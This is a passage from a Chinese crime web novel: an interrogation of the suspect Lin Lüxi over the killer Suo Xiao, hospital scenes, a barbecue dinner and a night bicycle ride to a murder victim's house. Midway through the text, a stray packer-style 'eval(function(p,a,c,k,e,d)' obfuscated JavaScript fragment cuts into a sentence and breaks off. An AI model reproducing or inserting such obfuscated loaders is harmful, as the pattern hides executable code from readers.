林律奚抱起了手臂,将背向后仰去,“你应该知道,毕竟是你的队员把他从矿车下抬了出来。”他近乎半仰在椅中,声音漫不在意:“就是有点晚,有些器官坏死了。” 程宥握着笔的手迟滞了两秒,很快又继续书写,“是索骁。” 林律奚好像听到什么好笑的笑话,哈哈笑了起来,“你不是记得吗?还是现在才看到他的档案?”他一边笑一边摇头,“或许,你只记得写在纪录上的黑字,真人长什么样子,在哭还是在笑,你统统不知道,也不想知道?” 程宥从口袋里又取出张纸巾,擦了擦唇——血又从组织深层渗了出来——他依旧没有抬头,“索骁在哪里?” 林律奚看着折起来的第二张纸巾,笑容慢慢收起了起来,“我不知道。” ——14:51 嫌疑犯坚称自己不知可能凶手(索骁)的下落,“我不知道。” 这张纸已经写满了,程宥将它放入文件夹,又拿起第二张,笔杆在手里轻轻转动半圈,“你在今年九月十四日抵达红驼,白行人当日被杀,和你有关吗?”他盯着笔问。 林律奚感兴趣的端详着他,“你现在很像警察,”他散漫的耸耸肩,“我说真正的那种。” “至于你的问题,哦,我是受邀当个证人。” 纸面上的笔尖自左而右的游走,发出沙沙声,“白行人被杀时你也在现场,凶手是不是同一人?” “是……或许不是?”林律奚十指相对轻轻磕动,戏谑的目光锁定坐在桌后的人,“可如果你始终低头不看我,怎么知道我现在的反应呢?程宥。” 笔尖挫了一下,在白纸上戳出一个黑点。 程宥慢慢的抬头,发现面前人在极轻极轻的点头。他记录下这个回应,之后,墨水笔再度停住几秒,又抬起了头。 他继续问了下去。 “九月二十八日凌晨三点,你出现在宫达良的死亡现场,也是因为提前有了消息?” 林律奚没有立刻回答,目光穿透他的眸子,嘴角微微扬起,眨了两下眼睛。 程宥没有略过这个回应,如实记录后抬头,“也是通过短信通知?” “不。”出乎意料的,林律奚不再笑了,他的手探进西装内衬的口袋,夹出了两张照片,随意丢在了桌子上,“我收到了这个。” 第一张照片上,是一块约五厘米见方的人皮,颜色发青,质地像冷却的蜡,上面刺着一个罗马数字:Ⅷ。 下方一行打印的时间戳:9/14 – 03:00 A.M。 ——这是高扈失去的颈部皮肤。 ——那个死在河轻市的蛇矛成员,高扈。 第二张照片上,同样是一块人皮,比前一张更小,刺着的Ⅵ已因为冷冻过收缩变形,边缘泛出灰白色。 ——有人潜入警局法医室,割去了宫达良的刺青。 程宥捡起这两张照片看了看,做好记录后,将它们收入档案袋中。 “不知程警官可有什么问题?”林律奚轻敲着手指,看着他的眼睛越来越亮。 程宥思索了一秒,“为什么索骁没有当场割掉这块皮肤,而要冒险潜入法医室?” 林律奚清黑的眼睛熠熠生光,“谁知道呢?也许凶手有他自己的想法吧。”他眨眨眼,微笑,“我又不是凶手。” ——14:58 嫌疑犯眼睛连续眨动两下,继续保持微笑,并且声称,“我又不是凶手。” 墨水笔簌簌滑动间,这行字落上了纸面,同时溅落下方空白处的,还有一滴无知无觉的血珠。 程宥的视线在血珠上停留两秒,把纸对齐折起,掏出黑色匕首,弹出其中的美工刀。 刀锋过处,纸张被一分为二。 他把匕首递回腰间,将写满黑字的半张记录夹入文件夹,拈出另外的空白页;同时将染了血的下半页放在了纸巾之上。 这回他没有拿纸巾,只用手背蹭掉唇上还在隐隐外渗的血,重新看向林律奚,“10月4日,在红驼杜蒙办公室,你被刺伤,凶手是牙还是索骁?” “也是他。” 程宥的肩膀凝固一瞬,随即回复原态,“你们是同伙。为什么索骁会试图杀你?” 林律奚不笑了,他收起腿,似乎略感厌烦,“同伙?” 他冷笑,“如果程指挥官再随意使用这类污蔑的词语,我会启动法律程序。”他手指抬了抬,指向门外,“我的律师就在这栋楼里。” “是程警官。”程宥纠正他,笔下不停,“10月13日下午,你转院的时候有狙击手伏击,也是索骁?” “你猜呢?” ——15:02 医院外的狙击手是索骁…… 程宥的目光在狙击手上三个字打个转,继续追问,“索骁人在哪?” “我说过了,你为什么总是听不见。”林律奚蹙了簇眉,冷意一点点淬进眼底,“也许就在这栋楼里呢?” ——15:07 嫌疑犯开玩笑(挑衅?),说:“也许就在这栋楼里呢?” “据调查,获救之后索骁就失去踪影,是被你的家族庇护起来了?” “家族庇护……”这四个字似乎让林律奚感到很好笑,他低头笑了一会,忽然抬起头看向自己的审讯者,眼睛亮得惊人。 “看起来你觉得我的家族势力很大,其实嘛。”他一霎不霎的凝视程宥,慢慢接了下去,“其实我自己也不太清楚有多大。” “会大到让人重新穿回军装吗?” “会大到建议重设朗基努斯之枪吗?” 程宥的笔停下了。 纸面上最后一个字的墨水慢慢洇开,形成一个小小的黑团。 这一刻,审讯室内外,什么都停下来了,连白炽灯那恼人的嗡鸣,也骤然消失了。 军装。 朗基努斯之枪。 安月见心脏砰砰砰在狂跳,她吞了下口水,嗓子眼跟刀割一样。 不,调查官,不行。 她明明不太理解他们说的话,然而这一刻,这个声音却疯狂响在心间。 不行,不行,你不能被动摇。 然而为什么,这一刻她会选择转向高尚桢。 然后看到他在单向镜下的暗光里沉默着,好像红驼城外沙漠中,那些风中慢慢蚀化的石头。 很短很短的一瞬。 很长很长的一瞬。 程宥重新启动了笔,“索骁没有军事背景,也没有心理承受力。他能做到这种地步,说明受过训练,是你安排的?” 眼前的世界陡然模糊起来,高尚桢看着一墙之隔的审讯官,仰起头,将泪逼了回去。 林律奚长久的看着他,笑容慢慢散掉。他低下头,将脸埋进了掌心。 程宥记下了自己的问题,他并没有等到回答。 然而他没有催促,也没有出声,只是捏着笔,陷入了静默。 有什么在记忆的海里翻腾,像海豚,上上下下,闪着光,那么亮,那么快活。 它们很快就沉到海里去了。 茫茫的海上,只剩下深蓝的波涛。 他孤独的站在岸边,不知道该想什么,不知道在想什么,只是静静的握着笔,等待着。 林律奚的手松开了,他抬起头,缓缓起身。 “神明在笑看人类挣扎,我们以为逃出了过去,却只是在更深的梦中醒来。”他喃喃的念出这句著名的台词,转向程宥,“要是能和你去看这出剧就好了。”又很快的笑了一下,“不过你不会和我去。” “就这样吧,程警官,请叫我的律师来。” ============ 刑事组目送杜蒙的人护送着林律奚走进电梯,没有一个人说话,连卫其宏都没有吭声。 林律奚的身影已经消失了,然而整个审讯室内外,仍旧仿佛笼罩在某种巨大的悲怆中。 程宥在文件上签好自己的名字,将它和笔送入文件袋中,封严,然后起身准备离开,刚走出两步,忽然停下,回头从桌上拿起了叠起来的半张纸与纸巾,投进垃圾桶中。 他的目光掠过倒下的矿泉水,滞了滞,掉头要走,才离开一步,又停下,探过身,从桌角抓起自己的眼镜,并没有立刻戴好,抓在手里掂了掂,随便塞进了口袋。 等转过身,他看到刑警们正沉默的排在门口两侧,在等他。 他向他们走近,正要开口,脚下一绊,差点摔倒,卫其宏赶紧伸手去抓他,不料手上一空,调查官已被组长一把揽住。 “我都在这门槛上绊倒多少回了。”高尚桢皱着眉打量地下的铁框,“让他们拆,死活不拆,这帮家伙……”他看看程宥,轻轻松开手,“没事吧。” 程宥摇摇头,将文件递给他,“林律奚的口供在这里。” “好。”高尚桢随手接下,转身递给盛苒,“交给你了。剩下的事你来处理。”他看着盛苒镜后盈着水光的眼睛,“对不起,刚才我态度不好。” 盛苒摇了摇头,深深吸了口气,“没关系。”她接过文件,“你放心,早点回医院去吧。”她笑着擦擦眼睛,“每次都这样,总挨医生的骂。” 高尚桢笑起来,看向程宥,“你送我回医院吧。” 卫其宏刚想说我来送,袖子一紧,已被安月见拉住,女孩子在向他缓慢又坚定的摇头。 ============= 这辆雪佛兰可能确实到年头了,即使在程宥手里也磕磕绊绊的,好几次在红灯前差点没收住刹车,后面的司机从车窗里探出身,狂骂不止。 副驾驶上的高尚桢因为突如其来的几次急停,腿上也跟着吃了好几回力,总算不流血的膝盖又流血了。 该换个好点的车,案子完了就去车店。他摸着膝盖,想。 他抬起眼,看到司机依旧面无表情的开车,对四周的喇叭声充耳不闻。 他揉了揉酸痛的鼻梁,“在想什么?” “嗯。”程宥应了一句,过了几秒之后才出声,“林律奚。” 摁在鼻梁上的手上停下了,高尚桢缓慢的扭过头,望向天边昏黄的夕阳,和不住退后的,街店里的灯光,“唔,你在想,嗯,他……” “他在说谎。” 高尚桢怔住,他重新看回程宥,“什么?说谎?” “他说做出几次狙击的是索骁。”程宥冷静的说。 高尚桢皱起眉,“我不明白。” “他不可能成为狙击手。”程宥下了断言,雪佛兰一头扎进中心区的地下隧道。 “为什么?” “狙击需要稳定肌肉群和骨骼,肩臂也必须足够有力,否则无法承 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医生一直等到病人回来才下班,他气坏了,差点把手套摔在刑事组长脸上,总算看着他流血的伤口和乖乖听话的份上,暂时放过了他。 “明天缝针!你今天晚上给我老实呆着!再乱跑等你就等领残疾补贴吧你!” 恶狠狠摔下这句狠话,医生气呼呼的走了,只留下高尚桢和程宥这两只鹌鹑,小心翼翼的在病房里不敢发声。 程宥看了看表,九点十分了,他摇了摇头,才想起来从中午就没吃饭,生理机能超级稳定的身体居然没报警。 真是奇怪的一天。他想,看了看还坐在病床上的高尚桢,站起身,“我要……” “老界在四楼ICU,要不要去看一眼?”高尚桢忽然没头没脑的打断了他。 程宥愣了一下,“他已经脱离危险,而且现在……” “陪我去看一眼,就一眼。”高尚桢单腿蹦着跳下床,发现程宥正盯着自己,赶紧又去床边捞拐杖,“走,走。”三下两下把他搡出了单人病房,还好护士暂时不在,他就拽着程宥,翘着伤腿,蹦上电梯。 程宥想起一楼门口贴出的住院守则,九点以后ICU拒绝访客,他几次要开口,都被高尚桢挡了回去。 好吧,他放弃的想,让事实说话吧。 果然,在通往ICU的右侧长廊入口,高组长就被一脸正气的护士给挡了回去。他还试着钻空子,可惜腿脚不给力,巧克力贿赂大法也宣告无效,只能悻悻的抻着脖子,撑着单腿往里瞧。 程宥在旁看着都替他累,他摇摇头,决定不管了,迈步走向电梯口。 此刻的他又累,又饿,又迷惑,脑子昏沉沉的。 今天实在太漫长了。 他迫切想回到旅馆房间,回到那个安静的,空无一人的地方去。 他按下了通往一楼的电梯。 这时,身后长廊里传来一阵奔跑声,声音不大,却很快乐,跟小马驹似的,哒哒哒哒。 他回过头,看到一个六七岁的小姑娘从走廊里冲向高尚桢,一把抱住他,仰起头笑。 她穿着整套的球衣球裤,胸前衣襟上一个大大的10号,十分神气。 单膝而立的高尚桢差点被撞到,他在小姑娘脑门上轻弹一下,说了句什么,然后回过身,朝程宥的方向指了指。 小姑娘有点害羞,又有点高兴,从高尚桢身后探出半个脑袋,向他挥手。 程宥不自觉的向她笑了一下,也挥了挥手。 小姑娘一下子缩了回去,又偷偷看他一眼,拉着高尚桢说话。 程宥看到她把一片纸塞到了高尚桢手里,然后高尚桢摸了摸她毛茸茸的脑袋,小姑娘抬起头,向他笑,偷偷向电梯方向挥了挥手,又哒哒哒哒的跑远了。 滴—— 电梯在他身后停下,程宥刚要转身,高尚桢已拄着拐杖,一蹦一蹦的靠近。 “等等你。”他不高兴的埋怨起来,“你走这么快干嘛,性子怎么这么急,没看到病人还在这哪。” 被高组长说性子急的程宥:…… 把病人送回单人房,程宥出去跟护士打声招呼,让她们送些食物来,又取了壶水烧好,在滚水的咕嘟声,只觉得浑身都散了架。 ——我要回去。 他嘘了口气,面向病床上的高尚桢,“我走了,明天就不……” “给。” 高尚桢将手送到他面前,平平摊开,是一张皱巴巴的纸团。 是刚才那个小姑娘塞给他的。 程宥接过,展开,发现是一张球票,下个星期三,八点整,清沙球场,同城德比大战。 他有点迷惑的看向高尚桢。 “老界闺女给你的。”高组长抬头看着他,“她攒了好久的零花钱,还是只够买半张,剩下的是卫其宏给她补的。”他笑了笑,“其实老界都买好了,就是逗她,小卫也是哄她玩。” 他深吸了口气,“当然下周三老界不能去,不过,”他哽了一下,“明年这个时候还有德比。” 他看进程宥的眼睛,“要是没有你,程宥,他就再也不能去了,他闺女让我把票给你,谢谢你。” 程宥僵在了原地。 高尚桢抬起手,抚摸着他西装下摆那几滴微小的血点,然后抓住他衣角,慢慢站起来,“我很高兴你在这里,程宥,有你在太好了。” 他伸出手臂,将程宥狠狠抱住,力气大得仿佛要将他扣进自己的身体,“谢谢你。” “还有。”他把头埋入他的肩头,“对不起,真的……对不起。” 对不起。 对不起。 原谅我。 程宥站着不动。 良久,良久,他抬起手,轻轻拍着这个人的背,“高尚桢,不要哭。” 45. 翡翠与脾 接下来的一周可以说有进展,也可以说没有。 荷官度安源在红驼的住所很快就被找到了,他已在此生活了七年,房子装修得很舒适,艺术品,植物,各种智能电器,应有尽有,——有进展。 然而鉴证组光照片就拍了上百张,稍微可疑的东西恨不得夹层都拆开看,包括名贵的酒,走私的烟,别人打的欠条,手机里无穷无尽的成人小电影……可希望有的一个都没有。——没有进展。 街角咖啡店狙击的射击点找到了,正是斜对面那块炸鸡广告牌后,连子弹壳都在——有进展。 街上虽有摄像,但是脚手架上没有,除了建筑工人的痕迹外,也没有找到任何其他痕迹——没有进展。 索骁的个人资料被收集齐全,包括他少年时代在福利院的各种照片。——有进展。 但是银脊案后他去了哪里,如今人在何处,所有信息依旧渺无影踪——没有进展。 几经辗转,盛苒终于打听到李延,当年六名学生之一,并且明确知道其下落——有进展。 然而李延已如今皈依上帝,正在某个雨林的某个部落里传教,也不知何时才能联系上——没有进展。 膝盖缝了十针的高尚桢看着这些乱糟糟的线索,颇想大喝一声。 ——吾有四胜,吾有四败! ——吾什么也没有! 是的,那个蔫了巴叽,几天前抱着他的调查官哭的高组长早已满血复活,此时正在纪念医院611号病房中滔滔不绝。 “……度安源这种人肯定有后手,绝对不可能就这么死了,什么线索也没留下。给我继续搜,我就不信了我!” 他捡起一个绿苹果,卡擦卡擦的啃了起来,“这苹果不错。”他几口啃得就剩下个核,又去拿第二个,“真不错。” “调查官昨天让我带过来的。”盛苒放下手里的饭盒,来回看了一圈,“嫂子呢?我给她带了饭。” “去药房了。”高尚桢恶狠狠的啃掉一大口,“他买的?他怎么没给我买?” 前天才从ICU转入普通病房,还不能开口的界至野:…… 床边拎着午餐袋的盛苒:…… “挺贵的。”盛苒说出一个数字,让沙发上这条没见识的红驼土狗一下安静下来。 高尚桢看看手里的苹果,不,这不是苹果,这是金子。 ——这以后怎么养得起。 “哎。”他叹口气,血盆大口变樱桃小口,一口一口细细嚼,“……反正搜,掘地三尺也得给我搜出来!” 盛苒真正为难,“组长。我们搜也要有个目标吧,中情司的东西到底是什么,多大多小我们都不知道,这搜也没有办法搜,要不然去问问调查官?” 高尚桢摆摆手,“不要问他,这事儿敏感,让他为难没必要。” 他品着苹果无比脆甜的汁液,真好吃呀,就是这个价钱……不管了,该养还得养! “虽然我们不知道那个东西什么样,但是别忘了周老板的表还没找到,我推测八成和这个东西放一起了。找到表也就找到这个物品了。” “可能不止,别忘了,度安源自称他知道真正的真相,如果这是真的呢?” “不管如何,我们得先把东西找到,要不程宥那边不好交代。” “还有,你早上说刘律师想跟单独谈谈?”他顿了一下,“谈林律奚?” 盛苒点头,“对。具体时间还没约。” “好。”手里的苹果突然没有了滋味,高尚桢懒洋洋的仰倒在沙发上,“你们说这个林律奚怎么回事?照理说他该恨程宥对吧,怎么会有这么强的病态依恋呢?” 他看着天花板,桀桀冷笑:“就见过一面至于吗?程宥那是公差,公差!哼,表现得跟离开程宥活不下去一样,我看这里面肯定还有别的问题!” ——你不也是一口一个程宥,离开就不会说话了吗? 两位过来人默默的对视一眼,不约而同的摇摇头。 说曹操曹操就到,高组长话音还没落地,正主就拎着一篮苹果出现在病房门口。 不等盛苒招呼,腿上还没拆线的高尚桢已经瘸着腿飞快的奔过去,“你买什么?”他伸手夺过果篮,看到里面的苹果又变成了金黄色,一个一个拳头大小,纹丝不差。 他有点气,皱着眉头看来客,“你怎么不给我买?” 程宥拨开他抢提篮的手,认真解释:“这不是那种用来做精品巧克力苹果的品种,如果你需要,我可以去买,现在有节日限定款。” 说不了的话界至野在床上无奈的翻了个白眼,不巧被组长看到了,他就见老大指着自己冷笑,“你觉得老界现在能吃苹果吗?他还得吃两周流食!” 胸口被狠狠插刀的界至野:…… 程宥摇摇头,“我知道。这不是给界刑警的,是给界太太和……” “那太谢谢你了!”界太太眉开眼笑的出现在背后,她都记不清自己上次被称呼为界太太是哪年了,哎呀,看看人家大地方来的就是不一样。 她打量着西装笔挺的调查官,越看越满意,哎呀,长得真好,身材也好,哎呀,还没带戒指,正好! 界太太迫不及待的开了口,“上次来我就想说了,小程你没成家吧?我表妹就在这个医院当护士,她还没朋友,要不一会儿你俩得空儿见见?” 小程:…… 程宥还没反应过来,旁边盛苒扑哧一声笑出了声,高组长黑了脸,把苹果蓝朝界太太的怀里一推,拽起程宥胳膊就往外走,“走,走,回局里!案子没破呢,哪来的空!” 直到程宥被扯到电梯里,高尚桢才放了手,瞅着电梯指示灯还在生气。 程宥看看他,思考了一下,其实他在买苹果的时候确实考虑过要不要给高组长也买一份,然而想起到认识他快三个月了,半个水果也没见他吃过,再考虑到他对甜食的高度热爱…… ——对水果中某种特定成分过敏。 现在看起来判断错误。程宥想起病房茶几上光秃秃的苹果核,高尚桢显然非常喜欢这个品牌。 调查官将“购入清晨翡翠苹果”加入到明日的To-do-list中。 “你可别当真。”高尚桢抱着手悻悻的说,重心放在了左腿上——那个橡木手杖早被他踢到了病床底下。 别当真……是什么意思? “嫂子那表妹。”高尚桢磨牙,“还没毕业就要给我介绍,当时我都工作好几年了!” 程宥眨眨眼,他不太理解高组长想表达什么,“根据西北自治联区的法律,无伦男女,十八岁以后就可以自由结……” “得得得!”高尚桢不等他说完不耐烦的挥手,“我就是说你别当真!”说到这里突然担心起来,扭头看着程宥,“你没朋友吧?” 程宥觉得这个问题实在太冒犯了。 是的,他很忙;是的,他工作高度保密,但是不代表他工作之余就不能和战友,不是,朋友们聚一聚,他怎么算没有朋…… 高尚桢看到他的眼睛微微游移,马上就知道他生气了,气势立刻萎了一半,赶紧解释:“不是不是,别误会。我说那种朋友。” 滴——电梯到了。 “女朋友。嗯,男朋友也行。” ——女朋友,或者,男朋友。 ——原来是这个意思。 程宥心平气和了,摇摇头,“都没有。” ——他问这个干什么? ——他也有表妹吗? ——这不符…… 高尚桢还是不放心,堵在电梯门口不让他出去,“你没前任吧?就是正式离的那种?” 程宥吸了口气,“没有。” ——高尚桢真是太没有礼貌了。 他有点气闷的想。 ——不过,我要问他有女朋友或者男朋友吗?正式离过婚吗? ——好像不太礼貌,可是…… “里面人怎么回事!出不出来了!病人等着哪!”电梯外的人等半天没见开门,隔着门开始嚷嚷。 高尚桢反应过来,赶紧打开电梯门,然后在一排“怎么这么没素质”的谴责目光中,灰溜溜的出了医院大门,走向停车场。 因为高尚桢腿部不便,他就指定了程宥给他当司机,开的也是警署给程宥临时配的车,并不是他那辆雪佛兰。 高组长对此有点不满,不过看在有了专属司机的份上,破天荒的没有多挑剔。 再说了,他想,那辆老车是该换了,嗯。 他想到这里,转头去看程宥,“你喜欢什么车?” 程宥目视前方,转动方向盘,挑个头回到主路上,“你是说民用的,还是军用的?” 高尚桢叹了口气,“四轮的,天天开着上下班,周末出去旅游的那种。”他看一眼程宥,着重强调:“起码能容两个人,F1不行!” 旁边拥堵的左行线忽然露出点空,程宥打起左闪,在后面车主猛烈的杀上来前,灵巧的并入车流,“功能正常的车。” “行,这么说吧,是吉普?皮卡?普通轿车?跑车?SUV?加长款?运动款?五座的?七座的?” 给出选项就好办。“两座跑车。”程宥说。 高尚桢有点意外,又觉得不怎么意外,“红色?黄色?黑色?白色?紫色?蓝色?灰色?绿色?” “柠檬。” 高尚桢心情有点复杂,“得是豪华版吧?” “对。” 豪华版的,柠檬色,两座的,跑车。 “知道你喜欢贵的,但是不知道还这么狂野。”高尚桢很心塞。 从来没有人用狂野两个字形容过程宥,他自己自然也没有,不由从后视镜里扫了下高组长。 高组长没注意这一眼,他脑袋靠在玻璃窗上,正默默心算一辆柠檬色豪华版跑车的价钱。 ——十年分期付款的话,利息是多少? ================================================ 一天后。 虽然刑事组多出两个病号,但是高尚桢从下面分局里借调了四个人上来,警局二楼倒也挺热闹,他跟正式的和临时的组员们打个招呼,就回到自己的办公桌上,再度翻开度安源一案的相关报告。 度安源死于心脏被刺,一刀毙命,干脆利落,离界至野遇袭的地方一公里不到,死亡时间也基本和界至野被割喉在同一时间段。 大家分析的结果是牙杀害度安源后,邂逅到界至野被识破身份,这才搞突然袭击。 摄像……那样偏僻的小巷和臭水沟,摄像自然是没有的,高组长再怎么翻脸也没有。 高尚桢暗自叹气。 为什么,为什么自己明明生活在一个科技社会,科技到哪怕他在小路上闯个红灯,那一瞬的高清照片都能邮到家里——为什么抓自己就这么容易,抓别人就那么难——可见这个世界就是只薛定谔的猫。 不过他对凶手是牙的判断并不信服。 ——牙行进的方向。 如果真是如推测的这样,那么牙先杀害度安源,应该马上撤离才对,那样根本碰不上界至野,为什么他反而会向咖啡店这个方向走? 至于牙先袭击界至野后杀害度安源?那得牙先从相反方向走过来,袭击界至野,然后转向,再从原方向掉头回去追度安源。这当然更不可能。 当然盛苒等人也注意到这个悖论,他们的解释是:牙可能是想前去咖啡店,继续袭击林律奚。 高尚桢对这个结论不置可否。 ——作为混乱中心的咖啡店,在界至野追入小巷时,已被便衣们重重包围,而有军事背景的牙,真的会冒险前去吗? 最重要的,度安源也死得太利索了。 ——我们找不到目标物品的下落,牙当然也找不到。 ——他有袭击刑警的时间,为什么不把度安源绑走? ——凶手真的是牙吗? ——还是审判者? ——但是狙击手在正面射击,肯定不能分身去刺杀度安源。 ——程宥说索骁不是狙击手…… 程宥。 他想到这里,从自己的办公桌探出身,看到调查官不在座位上,站起来找了一圈,果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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TMD这个案子赶紧完吧,这么下去我心脏得停。 ……不过案子完了,程宥就会走了…… 高尚桢摇摇头,不管,到时候再说,我总有办法。 永远天老大我老二的高组长牛逼哄哄的想,然后把思绪又强行掰回到案情轨道上来。 如果凶手既不是牙,也不是狙击手,那会是索骁? 那么那个狙击手又是谁? 高尚桢抓了抓头发,一个葛优躺仰倒在椅子里,不知怎么的又想起林律奚,一周之前也用同样的姿势。 不过是在审讯室。 ——度安源看到他吓得转身就跑,这是不是也表现的太害怕了…… ——是因为面对受害者吗? ——还是他终于发现林家势力大…… ——哼,这小子的家势确实大,还想诱惑程宥…… ——高尚桢啊高尚桢,你可别说卫其宏了,你自己那荡漾的春心也给我收一收,现在要办案,办案! 高组长自怨自艾一番,只得承认自己的确没有开天眼,必须还落回到切实的证据上来。 他又将收到到的荷官的各种情况仔仔细细查了一遍,一看就到了五点。 程宥看看表,五点,该下班了,然而…… 成为高组长的专属司机后,他精准的时间表开始大幅度上蹿下跳。 今天又不能准时下班。 他还打算继续工作一会,听到身后脚步声,下一秒风声响起,高尚桢的巴掌拍上了他的肩膀,“走了。” 程宥回头看他,“准时下班?” 高尚桢点头,“算是。” “很好。”程宥满意的登出电脑账户,清理好桌面,摆齐椅子,拿起公文包,“我送你回家。” 高尚桢笑嘻嘻的摇头,“不回家,我们去吃饭。” 程宥摇头拒绝,“这不是工作内容……” “是工作的一部分。”高尚桢出人意料的严肃,“我保证。” ……所以还是不能准时下班。 五分钟以后,司机程宥又再一次载上了他尊贵的客人,朝盐角草街开去。 在副驾驶上的高尚桢还不老实,去程宥口袋里翻矿泉水,对这种抢劫的行为调查官已经放弃抵抗了,随他乱翻——反正都被喝光了——自己和仙人掌。 高尚桢没找到水,也不失望,“行,那一会儿到了店里就多点两瓶啤酒。” ……啤酒。 开着车的程宥想,很好,这回不是从0到1,直接跨越到了∞。 他刚张嘴说了个“我……”,已被高尚桢抢过了话,“你可以喝水,我喝酒。”他刚松口气,就听他继续,“不过不要点牛里脊鸡胸肉三文鱼,跟你说,都没有。” 程宥:…… “西兰花紫甘蓝胡萝卜也没有!” 程宥:…… ——”我们去吃饭”,是指他吃,我看着,是这个意思吗? 好在高组长很快给他解释了,“那是个挺特色的店,东西也新鲜。” 程宥一向不相信人有什么直觉,究其本质,都是经验累积下的潜意识反应。但是这回,生平罕见的,他有了种不妙的直觉。 “特色和新鲜是指?”他谨慎的问。 “猪蹄羊蹄牛蹄鸡爪,猪脑羊脑牛脑鸡脑……不对,是鸡头。”高尚桢给他算得清清楚楚,“还有心肝脾肺肾,大肠小肠什么的,都是当天现杀的,他们家的烧烤料不错,有特色。” 程宥:…… “我不……” “我奶奶说吃啥补啥。”高尚桢指着自己的腿,“我得去吃几条腿,补。” ……几条腿…… 程宥艰难的给他普及科学知识,“人体吸收营养靠化学反应,不靠造型……” “我觉得奶奶说得对。”高尚桢扭头看他,眼睛在闪光,“我小时候就整天吃各种脑子,你说我脑子现在怎么样,好使吧?” 程宥:…… “问你哪,我的脑子是不是很好?” 虽然难之又难,但是程宥还是必须得实事求是,“是,不过这属于遗传。”他很不情愿的承认。 “我奶奶也吃脑,所以遗传聪明。”高尚桢仔细看他,夕阳照过程宥的脸,他被咬伤的唇基本愈合了,只剩下一道浅浅的痕迹,然而还是看得高大聪明很不爽。 “吃啥补啥,一会你多吃点脾。” 脾是造血器官,程宥想,即使这个以形补形是正确的(当然它根本不可能正确),我也不需要吃脾。 “我不贫血。” ——不对,不应该这么回答,应该回答吃脾对贫血毫无帮助!也不对,正确回答是这个理论完全错误! 高尚桢出乎意料的点头同意,“我知道你不缺血,不过你缺脾气,得多吃脾补补。” “脾气?” ——补血起码还能理解,脾气是个什么器官? 被彻底拐歪的程宥懵了。 高尚桢哼哼起来,“你多点脾气啊。”他不高兴的说,“怎么能让人……让不相干的人随便亲你呢!” 亲? 程宥更加迷糊,他默默的开出一公里,然后瞥了一眼高尚桢,看到盯着自己的嘴唇看,一脸悻悻,突然就反应过来了。 “你是指林律奚的行为吗?”程宥拐过一个小弯,“他不是亲吻,是攻击。”他开始跟一个平民(虽然是官方平民)解释,“我有一点点战损,很轻微,已经恢复了。” 这回轮到高尚桢哑巴了,他嘴巴动了几下,半天才呲了一声,“战损也不行!总之你给我多吃点脾!给我涨点脾气!” 也许他奶奶说得对。 开着车的程宥无奈的想。 高尚桢就是个例子,不仅脑子吃多了,脾肯定也没少吃。 46. 1点5秒 程宥当然没有吃脾,事实上无论高尚桢自作主张的给他点了多少脑子爪子腰子蹄子,他都一口没吃,只喝他的矿泉水。 这家店的老板娘和高组长很熟,也见过他收拾那些疑犯包括线人的手段,见他面前一堆辣的甜的咸的,对面的人只有一瓶矿泉水,就有点怀疑他是不是发明了审问嫌犯的新手段,让他只能看,不能吃,馋到他交代。可是看到桌对面先生西装考究,比自家穿烤串的铁签子还干净,一派气定神闲喝他的水,又有点不确定,心里奇怪,经过他们这桌的频率就未免高了点。 在她第八次经过饭桌的时候,高尚桢终于举手投降,拉过老板娘下单:“把你们自己吃的牛里脊烤半斤,再烤一个土豆,加点盐就行,其他什么也不用加。” 老板娘应声而去,程宥合上矿泉水,向他笑笑,“谢谢。” 高尚桢叹口气,拿起都放凉了的猪脾烤串,狠狠咬了一口,“你不吃,我吃!” ——我补血! 从店里钻出来都快七点了,吃了两人份烧烤的高组长没去管停在街边的车,拉着程宥从盐角草街一直往前走。 程宥怎么都不认为烧烤+散步属于工作的一部分,不过高尚桢虽然飞扬跋扈脾气急躁,但是涉及到案情,严谨得一丝不苟,不太可能拿工作当理由试图哄骗自己吃猪脾,何况这条盐角草街离在驼铃公园侧方,他推测着可能高尚桢是想再度考察现场,这才步行。 不过他的腿…… 他看了看还是有点瘸的高组长,停下了脚步,“不能再走了。” 高尚桢不在意,“没关系。领不上残疾津贴,你放心。” “但是会延长完全康复的时间。”程宥坚决不同意,“同样会耽误工作。” 高尚桢还想犟,可看着程宥的眼睛,嚣张的气焰自动消散了。 他烦恼的卡着腰,“那怎么办?要走的这条路车开不了。这……”正在苦恼,忽然身边传来一阵铃铃铃声,几辆单车从身边骑过,留下快乐的笑声,他眼睛一亮,“对了,驼铃公园对外租单车!”他眨着眼看着程宥,“要不要载伤员一程,骑手先生?” 就这样,身为高组长专属司机的调查官,又被迫兼职成为骑手,后车座上载着一个大号障碍物——瘸腿程度忽然加重十倍的高尚桢。 夜风徐徐迎面而来,温柔得正好,高尚桢揽住骑手的腰,在降下来的夜色中驰行于小巷中。 灯火自胡杨木交织的树冠隧道透过来,洒在沙地上,光影一层一层晃动;有小孩自家院子前放灯笼,一盏一盏飘上天空;有狗声在吠,汪汪汪,引来更多狗朋友来回应。 街边忽然跳出一只松鼠,在单车接近的一瞬又蹦蹦哒哒的跳远。 清甜的茉莉花香随风呈递,从程宥的发边脉脉飘落,染上他的肩,他的背,染上他背后的高尚桢。 高尚桢的头抵上了程宥的背,感受着晚风,花香,星星的光。 他没有说话,程宥也没有开口,只让风伴他们与车一道穿梭。 “程宥,”他低声喊他的名字。 “在。” “等案子结束了……” “什么?” “没事,等案子结束了再说。” 二十分钟后,单车停到了一栋小小房子前,在灯火通亮的街道上,这栋小房子没有光亮,在高墙围院后静静沉默。 程宥看了一下门牌,栀子花1112号。 他明白这是哪里了,“度安源的住宅?” “对。”高尚桢在车后座上打量这个房子,“从我们租车的公园到这里,你估计距离有多远?” “4.6到4.7公里。” “那要再加上去街角咖啡店的那段路?“ “5到5.1公里。” “你现在是骑车,如果换成步行大概要走多久?” “取决于步行速度,40分钟到1小时不等。” “你也见过度安源,他会走多久?” “1小时甚至更久,不会超过1小20分钟。” “这就奇怪了。”高尚桢摸着下巴,“度安源看起来怎么也不像个爱运动的人,他为什么每天会走这条小路上下班?” “他明明有车,隔两个街区就是双行道,为什么他会选择走路?” 程宥转头看他,看到戴着单车头盔的高高尚桢再次陷入思索。 不同于其他人,高尚桢的眼睛会随着思索深入而不断变亮,开始只是一点晶亮,渐渐有了星星之光,到最后燎出满山火,那么汹涌那么蓬勃,将他身边小小的世界一道卷起,燃烧。 程宥看了他很久,久到他理智在报警。 